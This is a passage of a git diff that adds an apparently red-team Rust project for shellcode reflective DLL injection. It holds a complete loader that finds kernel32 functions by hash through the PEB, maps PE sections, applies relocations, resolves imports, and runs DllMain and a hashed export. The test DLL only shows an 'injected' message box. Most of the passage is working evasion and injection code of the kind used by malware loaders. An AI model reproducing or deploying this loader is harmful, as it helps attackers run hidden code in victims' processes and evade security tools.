avoid stale code being used which was updated by our relocation processing. + unsafe { FLUSH_INSTRUCTION_CACHE.unwrap()(-1 as _, std::ptr::null_mut(), 0) }; + + // + // Step 6) Execute DllMain + // + let entry_point = unsafe { + new_module_base as usize + (*nt_headers).OptionalHeader.AddressOfEntryPoint as usize + }; + + #[allow(non_snake_case)] + let DllMain = unsafe { std::mem::transmute::<_, fnDllMain>(entry_point) }; + + unsafe { DllMain(new_module_base as _, DLL_PROCESS_ATTACH, module_base as _) }; + + // + // Step 7) Execute USER_FUNCTION + // + + // Get USER_FUNCTION export by hash + let user_function_address = + unsafe { get_export_by_hash(new_module_base as _, user_function_hash) }; + + unsafe { + USER_FUNCTION = Some(std::mem::transmute::<_, fnUserFunction>( + user_function_address, + )) + }; + + // Execute user function with user data and user data length + unsafe { USER_FUNCTION.unwrap()(user_data, user_data_length) }; + + // + // Step 8) Free memory and exit thread (TODO) + // + + if flags & SRDI_CLEARMEMORY != 0 { + // Freeing the shellcode memory itself will crash the process because you we're not resuming execution flow of the program (ret 2 caller) + // But we can free the memory of the new_module_base from VirtualAlloc because we have finished executing it + unsafe { VIRTUAL_FREE.unwrap()(new_module_base as _, 0, MEM_RELEASE) }; + // Exit thread won't work because if we exit the current thread then, execution flow will not resume. + // unsafe { EXIT_THREAD.unwrap()(1) }; + } +} + +/// Copy headers into the target memory location +pub unsafe fn copy_headers(module_base: *const u8, new_module_base: *mut c_void) { + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + + #[cfg(target_arch = "x86")] + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS32; + #[cfg(target_arch = "x86_64")] + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + for i in 0..(*nt_headers).OptionalHeader.SizeOfHeaders { + new_module_base + .cast::() + .add(i as usize) + .write(module_base.add(i as usize).read()); + } +} + +/// Process image relocations (rebase image) +pub unsafe fn rebase_image(module_base: *mut c_void) { + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + + #[cfg(target_arch = "x86")] + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS32; + #[cfg(target_arch = "x86_64")] + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + // Calculate the difference between remote allocated memory region where the image will be loaded and preferred ImageBase (delta) + let delta = module_base as isize - (*nt_headers).OptionalHeader.ImageBase as isize; + + // Return early if delta is 0 + if delta == 0 { + return; + } + + // Resolve the imports of the newly allocated memory region + + // Get a pointer to the first _IMAGE_BASE_RELOCATION + let mut base_relocation = (module_base as usize + + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize] + .VirtualAddress as usize) as *mut IMAGE_BASE_RELOCATION; + + // Get the end of _IMAGE_BASE_RELOCATION + let base_relocation_end = base_relocation as usize + + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].Size + as usize; + + while (*base_relocation).VirtualAddress != 0u32 + && (*base_relocation).VirtualAddress as usize <= base_relocation_end + && (*base_relocation).SizeOfBlock != 0u32 + { + // Get the VirtualAddress, SizeOfBlock and entries count of the current _IMAGE_BASE_RELOCATION block + let address = (module_base as usize + (*base_relocation).VirtualAddress as usize) as isize; + let item = + (base_relocation as usize + std::mem::size_of::()) as *const u16; + let count = ((*base_relocation).SizeOfBlock as usize + - std::mem::size_of::()) + / std::mem::size_of::() as usize; + + for i in 0..count { + // Get the Type and Offset from the Block Size field of the _IMAGE_BASE_RELOCATION block + let type_field = (item.offset(i as isize).read() >> 12) as u32; + let offset = item.offset(i as isize).read() & 0xFFF; + + //IMAGE_REL_BASED_DIR32 does not exist + //#define IMAGE_REL_BASED_DIR64 10 + if type_field == IMAGE_REL_BASED_DIR64 || type_field == IMAGE_REL_BASED_HIGHLOW { + // Add the delta to the value of each address where the relocation needs to be performed + *((address + offset as isize) as *mut isize) += delta; + } + } + + // Get a pointer to the next _IMAGE_BASE_RELOCATION + base_relocation = (base_relocation as usize + (*base_relocation).SizeOfBlock as usize) + as *mut IMAGE_BASE_RELOCATION; + } +} + +/// Process image import table (resolve imports) +pub unsafe fn resolve_imports(module_base: *mut c_void) { + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + + #[cfg(target_arch = "x86")] + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS32; + #[cfg(target_arch = "x86_64")] + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + // Get a pointer to the first _IMAGE_IMPORT_DESCRIPTOR + let mut import_directory = (module_base as usize + + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT as usize] + .VirtualAddress as usize) + as *mut IMAGE_IMPORT_DESCRIPTOR; + + while (*import_directory).Name != 0x0 { + // Get the name of the dll in the current _IMAGE_IMPORT_DESCRIPTOR + let dll_name = (module_base as usize + (*import_directory).Name as usize) as *const i8; + + // Load the DLL in the in the address space of the process by calling the function pointer LoadLibraryA + let dll_handle = LOAD_LIBRARY_A.unwrap()(dll_name as _); + + // Get a pointer to the Original Thunk or First Thunk via OriginalFirstThunk or FirstThunk + let mut original_thunk = if (module_base as usize + + (*import_directory).Anonymous.OriginalFirstThunk as usize) + != 0 + { + #[cfg(target_arch = "x86")] + let orig_thunk = (module_base as usize + + (*import_directory).Anonymous.OriginalFirstThunk as usize) + as *mut IMAGE_THUNK_DATA32; + #[cfg(target_arch = "x86_64")] + let orig_thunk = (module_base as usize + + (*import_directory).Anonymous.OriginalFirstThunk as usize) + as *mut IMAGE_THUNK_DATA64; + + orig_thunk + } else { + #[cfg(target_arch = "x86")] + let thunk = (module_base as usize + (*import_directory).FirstThunk as usize) + as *mut IMAGE_THUNK_DATA32; + #[cfg(target_arch = "x86_64")] + let thunk = (module_base as usize + (*import_directory).FirstThunk as usize) + as *mut IMAGE_THUNK_DATA64; + + thunk + }; + + #[cfg(target_arch = "x86")] + let mut thunk = (module_base as usize + (*import_directory).FirstThunk as usize) + as *mut IMAGE_THUNK_DATA32; + #[cfg(target_arch = "x86_64")] + let mut thunk = (module_base as usize + (*import_directory).FirstThunk as usize) + as *mut IMAGE_THUNK_DATA64; + + while (*original_thunk).u1.Function != 0 { + // #define IMAGE_SNAP_BY_ORDINAL64(Ordinal) ((Ordinal & IMAGE_ORDINAL_FLAG64) != 0) or #define IMAGE_SNAP_BY_ORDINAL32(Ordinal) ((Ordinal & IMAGE_ORDINAL_FLAG32) != 0) + #[cfg(target_arch = "x86")] + let snap_result = ((*original_thunk).u1.Ordinal) & IMAGE_ORDINAL_FLAG32 != 0; + #[cfg(target_arch = "x86_64")] + let snap_result = ((*original_thunk).u1.Ordinal) & IMAGE_ORDINAL_FLAG64 != 0; + + if snap_result { + //#define IMAGE_ORDINAL32(Ordinal) (Ordinal & 0xffff) or #define IMAGE_ORDINAL64(Ordinal) (Ordinal & 0xffff) + let fn_ordinal = ((*original_thunk).u1.Ordinal & 0xffff) as *const u8; + + // Retrieve the address of the exported function from the DLL and ovewrite the value of "Function" in IMAGE_THUNK_DATA by calling function pointer GetProcAddress by ordinal + (*thunk).u1.Function = + GET_PROC_ADDRESS.unwrap()(dll_handle, fn_ordinal).unwrap() as _; + } else { + // Get a pointer to _IMAGE_IMPORT_BY_NAME + let thunk_data = (module_base as usize + + (*original_thunk).u1.AddressOfData as usize) + as *mut IMAGE_IMPORT_BY_NAME; + + // Get a pointer to the function name in the IMAGE_IMPORT_BY_NAME + let fn_name = (*thunk_data).Name.as_ptr(); + // Retrieve the address of the exported function from the DLL and ovewrite the value of "Function" in IMAGE_THUNK_DATA by calling function pointer GetProcAddress by name + (*thunk).u1.Function = GET_PROC_ADDRESS.unwrap()(dll_handle, fn_name).unwrap() as _; + // + } + + // Increment and get a pointer to the next Thunk and Original Thunk + thunk = thunk.add(1); + original_thunk = original_thunk.add(1); + } + + // Increment and get a pointer to the next _IMAGE_IMPORT_DESCRIPTOR + import_directory = + (import_directory as usize + size_of::() as usize) as _; + } +} + +/// Copy sections of the dll to a memory location +pub unsafe fn copy_sections_to_local_process(module_base: usize) -> *mut c_void { + //Vec + + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + + #[cfg(target_arch = "x86")] + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS32; + #[cfg(target_arch = "x86_64")] + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + let image_size = (*nt_headers).OptionalHeader.SizeOfImage as usize; + let preferred_image_base_rva = (*nt_headers).OptionalHeader.ImageBase as *mut c_void; + + // Changed PAGE_EXECUTE_READWRITE to PAGE_READWRITE (This will require extra effort to set protection manually for each section shown in step 5 + let mut new_module_base = VIRTUAL_ALLOC.unwrap()( + preferred_image_base_rva, + image_size, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE, + ); + + if new_module_base.is_null() { + new_module_base = VIRTUAL_ALLOC.unwrap()( + std::ptr::null_mut(), + image_size, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE, + ); + } + + // get a pointer to the _IMAGE_SECTION_HEADER + let section_header = (&(*nt_headers).OptionalHeader as *const _ as usize + + (*nt_headers).FileHeader.SizeOfOptionalHeader as usize) + as *mut IMAGE_SECTION_HEADER; + + for i in 0..(*nt_headers).FileHeader.NumberOfSections { + // get a reference to the current _IMAGE_SECTION_HEADER + let section_header_i = &*(section_header.add(i as usize)); + + // get the pointer to current section header's virtual address + //let destination = image.as_mut_ptr().add(section_header_i.VirtualAddress as usize); + let destination = new_module_base + .cast::() + .add(section_header_i.VirtualAddress as usize); + + // get a pointer to the current section header's data + let source = module_base as usize + section_header_i.PointerToRawData as usize; + + // get the size of the current section header's data + let size = section_header_i.SizeOfRawData as usize; + + // copy section headers into the local process (allocated memory) + /* + std::ptr::copy_nonoverlapping( + source as *const std::os::raw::c_void, // this causes problems if it is winapi::ctypes::c_void but ffi works for ffi + destination as *mut _, + size, + )*/ + + let source_data = core::slice::from_raw_parts(source as *const u8, size); + + for x in 0..size { + let src_data = source_data[x]; + let dest_data = destination.add(x); + *dest_data = src_data; + } + } + + new_module_base +} + +/// Gets a pointer to PEB_LDR_DATA +pub fn get_peb_ldr() -> usize { + let teb: PTEB; + unsafe { + #[cfg(target_arch = "x86")] + asm!("mov {teb}, fs:[0x18]", teb = out(reg) teb); + + #[cfg(target_arch = "x86_64")] + asm!("mov {teb}, gs:[0x30]", teb = out(reg) teb); + } + + let teb = unsafe { &mut *teb }; + let peb = unsafe { &mut *teb.ProcessEnvironmentBlock }; + let peb_ldr = peb.Ldr; + + peb_ldr as _ +} + +/// Gets the modules and module exports by hash and saves their addresses +pub fn get_exported_functions_by_hash() -> bool { + let kernel32_base = unsafe { get_loaded_module_by_hash(KERNEL32_HASH) }; + let ntdll_base = unsafe { get_loaded_module_by_hash(NTDLL_HASH) }; + + if kernel32_base.is_null() || ntdll_base.is_null() { + return false; + } + + let loadlibrarya_address = unsafe { get_export_by_hash(kernel32_base, LOAD_LIBRARY_A_HASH) }; + unsafe { + LOAD_LIBRARY_A = Some(std::mem::transmute::<_, fnLoadLibraryA>( + loadlibrarya_address, + )) + }; + + let getprocaddress_address = + unsafe { get_export_by_hash(kernel32_base, GET_PROC_ADDRESS_HASH) }; + unsafe { + GET_PROC_ADDRESS = Some(std::mem::transmute::<_, fnGetProcAddress>( + getprocaddress_address, + )) + }; + + let virtualalloc_address = unsafe { get_export_by_hash(kernel32_base, VIRTUAL_ALLOC_HASH) }; + unsafe { + VIRTUAL_ALLOC = Some(std::mem::transmute::<_, fnVirtualAlloc>( + virtualalloc_address, + )) + }; + + let virtualprotect_address = unsafe { get_export_by_hash(kernel32_base, VIRTUAL_PROTECT_HASH) }; + unsafe { + VIRTUAL_PROTECT = Some(std::mem::transmute::<_, fnVirtualProtect>( + virtualprotect_address, + )) + }; + + let flushinstructioncache_address = + unsafe { get_export_by_hash(kernel32_base, FLUSH_INSTRUCTION_CACHE_HASH) }; + unsafe { + FLUSH_INSTRUCTION_CACHE = Some(std::mem::transmute::<_, fnFlushInstructionCache>( + flushinstructioncache_address, + )) + }; + + let virtualfree_address = unsafe { get_export_by_hash(kernel32_base, VIRTUAL_FREE_HASH) }; + unsafe { VIRTUAL_FREE = Some(std::mem::transmute::<_, fnVirtualFree>(virtualfree_address)) }; + + let exitthread_address = unsafe { get_export_by_hash(kernel32_base, EXIT_THREAD_HASH) }; + unsafe { EXIT_THREAD = Some(std::mem::transmute::<_, fnExitThread>(exitthread_address)) }; + + if loadlibrarya_address == 0 + || getprocaddress_address == 0 + || virtualalloc_address == 0 + || virtualprotect_address == 0 + || flushinstructioncache_address == 0 + || virtualfree_address == 0 + || exitthread_address == 0 + { + return false; + } + + return true; +} + +/// Gets loaded module by hash +pub unsafe fn get_loaded_module_by_hash(module_hash: u32) -> *mut u8 { + let peb_ptr_ldr_data = get_peb_ldr() as *mut PEB_LDR_DATA; + + let mut module_list = + (*peb_ptr_ldr_data).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY; + + while !(*module_list).DllBase.is_null() { + let dll_ptr = (*module_list).BaseDllName.Buffer; + let dll_length = (*module_list).BaseDllName.Length as usize; + + let dll_name = core::slice::from_raw_parts(dll_ptr as *const u8, dll_length); + + if module_hash == hash(dll_name) { + return (*module_list).DllBase as _; + } + + module_list = (*module_list).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + return std::ptr::null_mut(); +} + +/// Gets the address of a function by hash +pub unsafe fn get_export_by_hash(module_base: *mut u8, module_name_hash: u32) -> usize { + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + + #[cfg(target_arch = "x86")] + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS32; + + #[cfg(target_arch = "x86_64")] + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + let export_directory = (module_base as usize + + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize] + .VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY; + + let names = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, + (*export_directory).NumberOfNames as _, + ); + + let functions = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, + (*export_directory).NumberOfFunctions as _, + ); + + let ordinals = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, + (*export_directory).NumberOfNames as _, + ); + + for i in 0..(*export_directory).NumberOfNames { + let name_addr = (module_base as usize + names[i as usize] as usize) as *const i8; + let name_len = get_cstr_len(name_addr as _); + let name_slice: &[u8] = core::slice::from_raw_parts(name_addr as _, name_len); + + if module_name_hash == hash(name_slice) { + let ordinal = ordinals[i as usize] as usize; + return module_base as usize + functions[ordinal] as usize; + } + } + return 0; +} + +//credits: janoglezcampos / @httpyxel / yxel +/// Generates a unique hash +pub fn hash(buffer: &[u8]) -> u32 { + let mut hsh: u32 = 5381; + let mut iter: usize = 0; + let mut cur: u8; + + while iter < buffer.len() { + cur = buffer[iter]; + if cur == 0 { + iter += 1; + continue; + } + if cur >= ('a' as u8) { + cur -= 0x20; + } + hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32; + iter += 1; + } + return hsh; +} + +//credits: janoglezcampos / @httpyxel / yxel +/// Gets the length of a C String +pub fn get_cstr_len(pointer: *const char) -> usize { + let mut tmp: u64 = pointer as u64; + unsafe { + while *(tmp as *const u8) != 0 { + tmp += 1; + } + } + (tmp - pointer as u64) as _ +} diff --git a/memN0ps/srdi-rs/sRDI.png b/memN0ps/srdi-rs/sRDI.png new file mode 100644 index 0000000..fc2f408 Binary files /dev/null and b/memN0ps/srdi-rs/sRDI.png differ diff --git a/memN0ps/srdi-rs/testdll/Cargo.toml b/memN0ps/srdi-rs/testdll/Cargo.toml new file mode 100644 index 0000000..0f52dd7 --- /dev/null +++ b/memN0ps/srdi-rs/testdll/Cargo.toml @@ -0,0 +1,29 @@ +[package] +name = "testdll" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html +[lib] +crate-type = ["cdylib"] + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html +[profile.release] +opt-level = "z" # Optimize for size. +lto = true # Enable Link Time Optimization +codegen-units = 1 # Reduce number of codegen units to increase optimizations. +panic = "abort" # Abort on panic +strip = true # Automatically strip symbols from the binary. + +[dependencies.windows-sys] +version = "0.36.1" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_UI_WindowsAndMessaging", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemServices", + "Win32_System_WindowsProgramming" +] \ No newline at end of file diff --git a/memN0ps/srdi-rs/testdll/src/lib.rs b/memN0ps/srdi-rs/testdll/src/lib.rs new file mode 100644 index 0000000..2312a32 --- /dev/null +++ b/memN0ps/srdi-rs/testdll/src/lib.rs @@ -0,0 +1,45 @@ +use std::ffi::c_void; +use windows_sys::Win32::{ + Foundation::{BOOL, HINSTANCE}, + System::SystemServices::DLL_PROCESS_ATTACH, + UI::WindowsAndMessaging::MessageBoxA, +}; + +#[no_mangle] +#[allow(non_snake_case)] +pub unsafe extern "system" fn DllMain( + _module: HINSTANCE, + call_reason: u32, + _reserved: *mut c_void, +) -> BOOL { + if call_reason == DLL_PROCESS_ATTACH { + MessageBoxA( + 0 as _, + "Rust DLL injected!\0".as_ptr() as _, + "Rust DLL\0".as_ptr() as _, + 0x0, + ); + + 1 + } else { + 1 + } +} + +#[no_mangle] +#[allow(non_snake_case)] +fn SayHello(user_data: *mut c_void, user_data_len: u32) { + let user_data_slice = + unsafe { core::slice::from_raw_parts(user_data as *const u8, user_data_len as _) }; + let user_data = std::str::from_utf8(user_data_slice).unwrap(); + let message = format!("Hello from {}", user_data); + + unsafe { + MessageBoxA( + 0 as _, + message.as_ptr() as _, + "SayHello!\0".as_ptr() as _, + 0x0, + ); + } +}